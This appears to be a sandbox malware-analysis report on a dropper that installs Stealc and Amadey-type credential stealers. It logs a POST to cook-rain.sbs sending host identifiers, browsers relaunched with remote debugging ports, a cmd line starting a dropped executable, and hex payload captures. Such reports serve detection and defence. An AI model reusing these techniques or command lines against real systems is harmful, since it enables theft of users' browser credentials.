2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 58 6e 54 4f 4a 38 4a 4c 77 61 52 43 4c 44 35 4f 54 42 49 72 30 30 41 74 32 2f 2f 69 42 78 41 36 5a 56 6f 43 58 36 64 78 6e 79 4d 63 4a 70 73 30 30 56 6f 52 70 30 61 39 4b 46 2b 45 6b 71 36 53 53 79 35 65 66 7a 47 42 41 72 38 33 47 49 44 50 73 4b 43 66 70 74 39 6d 47 62 58 42 54 51 44 6c 41 6d 31 38 7a 67 38 51 4b 42 4d 41 37 74 6f 38 34 6f 62 51 2b 4b 4f 64 77 70 34 69 4d 67 35 30 44 57 55 65 4a 39 64 5a 6a 43 4b 46 61 58 76 66 41 68 4f 6f 6b 51 45 72 43 6a 71 79 41 49 45 34 70 41 6c 56 7a 36 52 77 6e 57 5a 66 5a 56 6b 31 77 6f 70 44 34 67 44 75 50 63 73 4f 6b 32 6c 52 41 79 32 59 66 69 42 46 6b 2f 76 6b 57 45 49 66 39 71 4d 4f 5a 6c 74 30 7a 69 66 4d 7a 59 4c 6c 69 79 2f 39 54 64 39 55 75 4a 54 51 37 31 6b 74 64 35 62 51 4f 6d 55 62 77 42 33 6b 4d 68 32 Data Ascii: XnTOJ8JLwaRCLD5OTBIr00At2//iBxA6ZVoCX6dxnyMcJps00VoRp0a9KF+Ekq6SSy5efzGBAr83GIDPsKCfpt9mGbXBTQDlAm18zg8QKBMA7to84obQ+KOdwp4iMg50DWUeJ9dZjCKFaXvfAhOokQErCjqyAIE4pAlVz6RwnWZfZVk1wopD4gDuPcsOk2lRAy2YfiBFk/vkWEIf9qMOZlt0zifMzYLliy/9Td9UuJTQ71ktd5bQOmUbwB3kMh2
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 2b 66 53 32 59 42 67 6b 4c 73 75 52 45 61 65 4f 35 72 4f 66 70 33 75 35 39 62 51 2b 6e 63 50 55 39 79 6d 63 35 78 6b 58 4f 61 62 4e 55 4d 4c 51 71 52 42 72 6a 77 4f 7a 74 4d 71 55 38 43 76 6d 54 2f 67 42 68 48 36 70 4e 71 42 7a 37 55 67 6e 36 47 4e 63 73 67 2b 68 49 74 43 4a 78 43 71 37 63 6e 66 55 71 67 43 6c 76 36 5a 50 79 41 48 55 48 70 6e 57 4d 48 65 35 4c 47 65 4a 68 7a 6b 47 2f 62 41 43 63 4a 6e 67 36 36 38 7a 38 38 51 61 64 46 43 4c 38 6f 75 38 59 63 58 4b 58 45 4a 54 35 39 6a 4e 56 70 6b 6a 57 4d 4c 73 5a 46 49 51 72 61 57 76 54 34 4c 44 64 48 6f 6b 38 4d 76 32 76 36 67 52 5a 43 36 5a 5a 73 42 33 69 56 79 32 75 64 65 5a 31 6e 30 51 6b 6f 43 35 41 42 75 62 6c 77 66 55 71 30 43 6c 76 36 52 50 4b 4c 4e 55 2f 70 6d 79 55 51 4d 49 4f 43 66 70 49 31 79 Data Ascii: +fS2YBgkLsuREaeO5rOfp3u59bQ+ncPU9ymc5xkXOabNUMLQqRBrjwOztMqU8CvmT/gBhH6pNqBz7Ugn6GNcsg+hItCJxCq7cnfUqgClv6ZPyAHUHpnWMHe5LGeJhzkG/bACcJng668z88QadFCL8ou8YcXKXEJT59jNVpkjWMLsZFIQraWvT4LDdHok8Mv2v6gRZC6ZZsB3iVy2udeZ1n0QkoC5ABublwfUq0Clv6RPKLNU/pmyUQMIOCfpI1y
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 51 41 59 6f 53 74 37 73 50 4b 30 36 36 51 51 36 32 4b 4f 72 49 41 67 54 69 6b 43 56 58 50 70 7a 4e 63 4a 31 36 6b 6d 6e 54 43 43 4d 50 6e 77 4f 79 2f 54 51 33 54 61 70 4d 41 72 39 69 39 6f 63 52 54 65 4b 55 59 67 78 73 32 6f 77 35 6d 57 33 54 4f 4a 38 73 49 52 53 55 45 76 54 6d 63 43 51 4e 71 30 5a 44 34 69 6a 78 6a 42 52 41 34 70 42 6a 43 6e 69 58 77 33 61 66 64 5a 78 6b 31 41 77 67 42 35 63 48 75 66 30 73 4e 30 61 6a 52 67 71 32 5a 62 58 49 57 30 50 39 33 44 31 50 54 35 66 4d 64 35 6c 6a 30 33 2b 52 48 47 59 42 6c 6b 4c 73 75 54 38 78 51 71 39 46 41 4c 6c 70 2f 35 51 4a 53 4f 79 55 59 41 4e 31 6c 4d 52 72 6d 48 71 61 59 39 77 4d 49 51 36 57 43 4c 66 2b 66 6e 4d 4e 71 31 4a 44 34 69 6a 57 6b 51 74 4a 70 59 4d 72 46 6a 36 64 7a 6a 6e 47 4e 5a 74 74 31 77 Data Ascii: QAYoSt7sPK066QQ62KOrIAgTikCVXPpzNcJ16kmnTCCMPnwOy/TQ3TapMAr9i9ocRTeKUYgxs2ow5mW3TOJ8sIRSUEvTmcCQNq0ZD4ijxjBRA4pBjCniXw3afdZxk1AwgB5cHuf0sN0ajRgq2ZbXIW0P93D1PT5fMd5lj03+RHGYBlkLsuT8xQq9FALlp/5QJSOyUYAN1lMRrmHqaY9wMIQ6WCLf+fnMNq1JD4ijWkQtJpYMrFj6dzjnGNZtt1w
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 43 37 44 78 50 54 31 4a 71 45 30 47 75 57 54 2b 67 52 68 4c 34 5a 56 72 42 6e 48 61 6a 44 6d 5a 62 64 4d 34 6e 79 51 39 42 5a 59 50 39 4f 5a 77 4a 41 32 72 52 6b 50 69 4b 50 6d 49 48 6b 54 76 6d 6d 45 4b 65 4a 44 48 65 5a 56 32 6e 47 54 5a 41 53 6b 47 6b 51 75 31 2f 7a 73 33 52 71 70 48 41 4c 78 75 74 63 68 62 51 2f 33 63 50 55 39 65 67 63 39 31 6d 54 57 4d 4c 73 5a 46 49 51 72 61 57 76 54 79 4d 6a 6c 4b 72 45 63 41 73 6d 33 78 6a 42 35 45 37 59 35 74 44 33 6d 49 30 48 6d 58 63 4a 39 6a 33 77 45 67 44 35 77 42 73 4c 6c 77 66 55 71 30 43 6c 76 36 52 66 6d 42 4d 6b 50 2b 33 48 70 42 5a 39 72 46 64 64 34 74 30 32 48 55 44 79 6b 4c 6d 51 53 33 38 6a 73 33 54 4b 74 43 44 71 68 72 2b 6f 6b 66 52 4f 71 61 59 77 35 78 6e 4d 56 77 6e 33 32 55 49 4a 46 46 49 52 37 Data Ascii: C7DxPT1JqE0GuWT+gRhL4ZVrBnHajDmZbdM4nyQ9BZYP9OZwJA2rRkPiKPmIHkTvmmEKeJDHeZV2nGTZASkGkQu1/zs3RqpHALxutchbQ/3cPU9egc91mTWMLsZFIQraWvTyMjlKrEcAsm3xjB5E7Y5tD3mI0HmXcJ9j3wEgD5wBsLlwfUq0Clv6RfmBMkP+3HpBZ9rFdd4t02HUDykLmQS38js3TKtCDqhr+okfROqaYw5xnMVwn32UIJFFIR7
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 54 6b 71 51 75 77 45 51 37 55 6f 72 62 39 62 54 65 4b 48 64 42 6c 7a 69 73 55 35 6f 54 76 54 65 4a 39 64 5a 6a 4f 5a 44 4c 72 2b 4b 43 77 41 69 31 77 4a 76 58 6a 79 6b 52 51 45 71 39 78 6a 54 79 62 4a 6a 44 6d 61 5a 4e 4d 34 6a 31 64 39 55 38 6c 56 35 4b 73 68 63 31 54 73 58 45 50 69 4f 72 76 47 43 51 53 39 33 43 49 4d 62 49 6a 45 65 6f 68 32 31 46 37 68 49 6a 77 4c 6e 42 57 6c 78 77 41 36 56 36 46 4d 46 4b 73 6b 34 49 55 56 53 75 4b 4b 4a 55 45 2b 6c 59 49 68 70 7a 58 62 49 4f 42 4c 5a 68 37 61 57 76 54 4d 50 54 4e 44 71 31 77 53 39 30 2f 76 69 78 31 54 39 4e 77 72 54 33 6a 61 6d 69 6e 51 4e 5a 64 78 6e 31 31 32 56 4d 46 58 35 36 35 75 62 31 4c 69 55 30 4f 73 4b 4b 33 55 56 51 54 33 33 44 31 50 4f 5a 6e 51 61 35 68 32 68 57 4f 59 4f 78 67 6f 6e 51 53 78 Data Ascii: TkqQuwEQ7Uorb9bTeKHdBlzisU5oTvTeJ9dZjOZDLr+KCwAi1wJvXjykRQEq9xjTybJjDmaZNM4j1d9U8lV5Kshc1TsXEPiOrvGCQS93CIMbIjEeoh21F7hIjwLnBWlxwA6V6FMFKsk4IUVSuKKJUE+lYIhpzXbIOBLZh7aWvTMPTNDq1wS90/vix1T9NwrT3jaminQNZdxn112VMFX565ub1LiU0OsKK3UVQT33D1POZnQa5h2hWOYOxgonQSx
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 71 36 57 30 36 64 5a 76 4b 48 44 56 54 79 6b 79 56 42 50 70 79 43 49 63 77 37 30 32 54 4f 52 58 35 57 79 46 6e 68 71 6d 6c 74 48 37 4d 45 47 76 70 2b 74 64 35 4a 43 71 57 4f 4a 56 63 2b 33 63 46 72 6a 48 4f 51 64 74 78 43 47 44 69 39 44 4c 50 34 4b 43 31 61 6f 77 55 74 6a 45 6e 4c 75 41 35 48 36 35 4a 69 47 57 2f 61 6a 44 6d 52 4e 63 74 5a 6e 30 31 6d 4f 64 52 43 72 4c 6c 6d 66 58 69 76 52 41 32 39 66 75 54 4c 50 45 72 69 6e 58 4d 66 61 5a 57 4e 56 36 68 55 30 79 36 66 41 32 5a 65 79 45 7a 30 2f 53 39 39 46 66 77 59 57 4f 38 37 6f 74 5a 4a 57 36 75 46 4a 52 6b 2b 77 70 41 33 33 6d 66 54 4f 4a 39 43 4a 52 53 49 42 4c 66 76 50 58 70 7a 6b 6d 30 4e 76 57 6e 6a 6c 68 5a 49 78 4a 39 30 42 55 43 6b 31 33 71 51 65 35 52 32 7a 6b 56 6f 52 70 56 43 37 4d 42 2b 64 Data Ascii: q6W06dZvKHDVTykyVBPpyCIcw702TORX5WyFnhqmltH7MEGvp+td5JCqWOJVc+3cFrjHOQdtxCGDi9DLP4KC1aowUtjEnLuA5H65JiGW/ajDmRNctZn01mOdRCrLlmfXivRA29fuTLPErinXMfaZWNV6hU0y6fA2ZeyEz0/S99FfwYWO87otZJW6uFJRk+wpA33mfTOJ9CJRSIBLfvPXpzkm0NvWnjlhZIxJ90BUCk13qQe5R2zkVoRpVC7MB+d
2024-11-18 14:18:29 UTC	1369	IN	Data Raw: 39 68 45 58 6e 67 51 74 48 70 37 42 69 41 6e 4b 6b 2f 45 36 50 63 6f 4d 69 2b 51 59 77 42 64 70 4d 39 4f 46 2b 5a 51 32 42 57 41 53 71 61 37 65 71 48 45 6e 70 33 48 70 42 5a 39 72 55 4f 63 59 6d 33 53 44 4e 52 58 35 47 33 51 47 6d 36 7a 67 2b 57 36 38 4e 50 59 52 46 35 34 45 4c 52 36 65 74 61 41 74 6f 6a 38 46 70 6d 55 75 74 54 63 30 43 4e 67 58 59 4a 34 36 37 44 79 74 4f 72 45 51 45 2b 69 61 31 6e 6c 73 63 70 62 46 33 43 47 36 5a 67 46 79 6b 4e 36 4a 32 33 41 55 6f 41 64 6f 64 2b 75 42 2b 4b 77 33 30 47 55 33 36 65 72 58 65 57 77 50 72 6b 57 51 4d 63 4a 6e 51 61 35 68 32 68 57 4f 59 4f 78 67 70 6b 51 4f 6b 39 43 38 77 53 62 70 30 50 5a 31 75 38 49 45 6c 65 74 4b 4e 59 68 38 38 76 4d 46 76 6e 54 58 64 49 4d 64 46 66 6b 61 39 42 4c 48 2b 66 6e 4d 4e 71 41 Data Ascii: 9hEXngQtHp7BiAnKk/E6PcoMi+QYwBdpM9OF+ZQ2BWASqa7eqHEnp3HpBZ9rUOcYm3SDNRX5G3QGm6zg+W68NPYRF54ELR6etaAtoj8FpmUutTc0CNgXYJ467DytOrEQE+ia1nlscpbF3CG6ZgFykN6J23AUoAdod+uB+Kw30GU36erXeWwPrkWQMcJnQa5h2hWOYOxgpkQOk9C8wSbp0PZ1u8IEletKNYh88vMFvnTXdIMdFfka9BLH+fnMNqA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49856	188.114.97.3	443	8164	C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:18:31 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=74XCXR3F11UB3CD5GC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: cook-rain.sbs
2024-11-18 14:18:31 UTC	12851	OUT	Data Raw: 2d 2d 37 34 58 43 58 52 33 46 31 31 55 42 33 43 44 35 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 41 43 45 31 36 33 42 45 34 35 41 34 34 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 37 34 58 43 58 52 33 46 31 31 55 42 33 43 44 35 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 34 58 43 58 52 33 46 31 31 55 42 33 43 44 35 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --74XCXR3F11UB3CD5GCContent-Disposition: form-data; name="hwid"9BACE163BE45A441F7005D7B20127A88--74XCXR3F11UB3CD5GCContent-Disposition: form-data; name="pid"2--74XCXR3F11UB3CD5GCContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-18 14:18:31 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rv0daccqa2q862mrr4gjotl029; expires=Fri, 14-Mar-2025 08:05:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HLkG57V%2FYO43mQILBFXFg6B7mkSBqzt4sCNLx%2B8a7J5J995M63Em2nhZQAPB6hJhuOVnSvfjPl2%2FTo8O7%2BI19PJ2C4Gqag5s8IheALJXa7MDwco4uSE198aJKI%2F%2Byq0d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4897184e6a6c64-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1113&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2828&recv_bytes=13788&delivery_rate=2509532&cwnd=251&unsent_bytes=0&cid=498e0af24a1de3ed&ts=724&x=0"
2024-11-18 14:18:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 14:18:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:16:25
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb30000
File size:	1'808'384 bytes
MD5 hash:	65B0D19BD484BB9D3AD808B7C61772DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1971911625.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1971911625.0000000000BFC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1973362137.000000000149C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1452584570.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:16:37
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:16:39
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2096,i,1851274958232769042,16841889112243571831,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:16:49
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:16:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2396,i,8876949000788444266,8259946871136057177,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:16:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:16:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2968 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:16:55
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6548 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:16:55
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:17:17
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCGHCGHC.exe"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:17:17
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:17:17
Start date:	18/11/2024
Path:	C:\Users\user\DocumentsJDGCGHCGHC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJDGCGHCGHC.exe"
Imagebase:	0x680000
File size:	1'922'048 bytes
MD5 hash:	37243D85EDC9216A9E33F76DE6E12F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2074973312.0000000000681000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1987375902.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:17:24
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xaa0000
File size:	1'922'048 bytes
MD5 hash:	37243D85EDC9216A9E33F76DE6E12F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2095829629.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2054722898.0000000004830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:17:27
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xaa0000
File size:	1'922'048 bytes
MD5 hash:	37243D85EDC9216A9E33F76DE6E12F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2091988103.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2132173931.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:17:50
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2256,i,16371631532054266700,278096499250245289,262144 /prefetch:8
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	09:18:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xaa0000
File size:	1'922'048 bytes
MD5 hash:	37243D85EDC9216A9E33F76DE6E12F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2406559808.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2694222146.0000000000AA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	09:18:16
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe"
Imagebase:	0x530000
File size:	4'385'792 bytes
MD5 hash:	7AB5D123F1802A81990DAFB313DE5241
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	09:18:25
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe"
Imagebase:	0x660000
File size:	1'894'400 bytes
MD5 hash:	75624FDEC051244003F909D55591A902
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.2698341570.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.2698341570.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.2693125541.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.2675831416.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CB335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBF688,00001000), ref: 6CB335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CB335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB3363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB3369F
__aulldiv.LIBCMT ref: 6CB336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CB33773
